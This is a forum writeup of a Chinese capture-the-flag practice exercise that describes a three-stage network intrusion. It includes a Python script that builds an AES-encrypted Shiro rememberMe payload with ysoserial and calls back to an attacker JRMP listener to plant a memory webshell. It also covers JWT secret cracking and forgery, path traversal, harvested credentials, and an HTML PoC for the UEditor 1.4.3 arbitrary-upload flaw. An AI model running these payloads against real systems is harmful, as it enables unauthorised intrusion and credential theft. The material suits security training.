GuiDie
发布于 IP属地安徽省

2024某CFS比赛练习题-Writeup

出题思路 Spring heapdump获取shiro key,通过shiro JRMP漏洞注入内存马获取权限,读取机器/flag.txt,通过设备巡检地址.txt中密文得知存在勒索加密,找到/hack文件进程,通过分析找到两次异或key解密设备巡检地址.txt数据找到L2-4机器地址开放端口

1:第一层赛题

解题步骤

注册登录系统后发现actuator接口存在heapdump端点。

登录后发现存在可访问actuator接口。

下载heapdump文件并解密

heapdump解密
解密heapdump获取shiro密钥
algMode = CBC, key = 9FVpnmFL7s0KKA3Kposdaw==, algName = AES

测试登录接口存在shiro特征

Shiro利用工具无法找到利用链



生成多个利用链延时

使用shiro-exploit生成payload

存在CB1 CB2利用链

启动jrmp监听,加载冰蝎class

生成payload

  import base64
import sys
import uuid
import subprocess
import requests
from Crypto.Cipher import AES


def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "9FVpnmFL7s0KKA3Kposdaw=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_rememberMe_value = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_rememberMe_value

if __name__ == '__main__':
    payload = encode_rememberme('192.168.1.5:1234') #这里替换远程主机的ip和JRMP监听模块监听的端口
    print("rememberMe={}".format(payload.decode()))

发送payload收到jrmp反连

冰蝎连接内存马

获取flag信息

flag{b92027b4f91e8d6ecc26137f6b560746}
发现?????.txt文件,冰蝎无法查看文件内容

Cat *.txt查看文件内容,发现内容被加密。

进程中存在hack进程攻击痕迹,疑似机器被勒索挖矿。

分析勒索文件找到加密特征
存在访问host请求,host被加密,使用密钥进行二次异或操作
Main函数下存在base32加密解密但未调用。


定位加密密钥key2_2,key1_3值。

key2_2的值是41h,转换成十进制65,ASCII编码转换字符A。
key1_3的值是4Bh,转换成十进制75,ASCII编码转换字符K。
encrypted_host_4的值是';3==<;$;;02:3:'。
编写二次异或解密脚本获取L2-4网段地址

  encrypted_host_4 = ";3=$=<$;$;;02:3:"
key1_3 = 'K'  # 75 in decimal, 4Bh in hexadecimal
key2_2 = 'A'  # 65 in decimal, 41h in hexadecimal

decrypted_host = ""

for character in encrypted_host_4:
    decrypted_character = chr(ord(character) ^ ord(key1_3) ^ ord(key2_2))
    decrypted_host += decrypted_character

print("Decrypted host: " + decrypted_host)

197.76.1.11:8090
要搭建到197.76.1这个网段的代理。

直接上fscan进行扫描发现其开放了8082和80端口

挨个访问,发现8082端口有后台页面
2、第二层赛题

密码爆破,发现是弱口令admin/123456
登入进去没有权限,提示登入sysadmin123456

发现token,是利用JWT进行身份验证,看看能否对jwt进行破解

利用JWT-tools进行秘钥爆破

发现秘钥是123456
然后开始伪造jwt
去jwt.io

获得仿造的高权限jwt
替换掉刷新发现界面改变了

上传文件试试看

发现上传成功,并且返回了flag{d6c578d4a41a141d731fe7c36c8c0f77}

继续发现文件下载可以任意文件下载

抓包

目录穿越之后


进行信息收集
在查看proc文件夹的时候发现了数据库账密

对进程号进行爆破

找到了数据库账密
postgres/eplugger@7758

发现postgresql数据库,连接一下,也可以命令执行

在根目录下找到发现了ssh公私钥,连接发现是root的
拿到私钥

尝试连接ssh连接成功 root权限.

搭建第二层的代理:利用iox开启socks5端口

利用fscan扫描发现存在8080端口。

查看发现网站信息。

3、第三层赛题

信息收集发现这是叫品络科技研发的cms
在网上查询,找到了登入后台和账号密码,尝试登入


登入成功

找到UEditor1.4.3版本的,网上有ASP版本的任意文件上传漏洞
在网上找到了任意文件上传的poc

  <form action="http://172.76.1.11:8080/ueditor/asp/controller.asp?action=catchimage"enctype="application/x-www-form-urlencoded"  method="POST">
    shell addr: <input type="text" name="source[]" />
                <input type="submit" value="Submit" />
</form>

但是发现上传文件需要一台在线的服务器,但是设备不出网,
发现上一台开着nginx,利用nginx当在线服务器传递

第一种
上台机子有root权限的ssh直接写马

找到nginx根目录
上传

访问测试

第二种
文件上传是可以跨目录的


发现是可以访问的,那咱们就根据poc要求上传,上传的马的路径需要第三层其机器能访问的那个网卡。


返回了路径,进行连接

连接成功。

邀请人:seven-6345

浏览 (304)
点赞 (1)
收藏
打赏
评论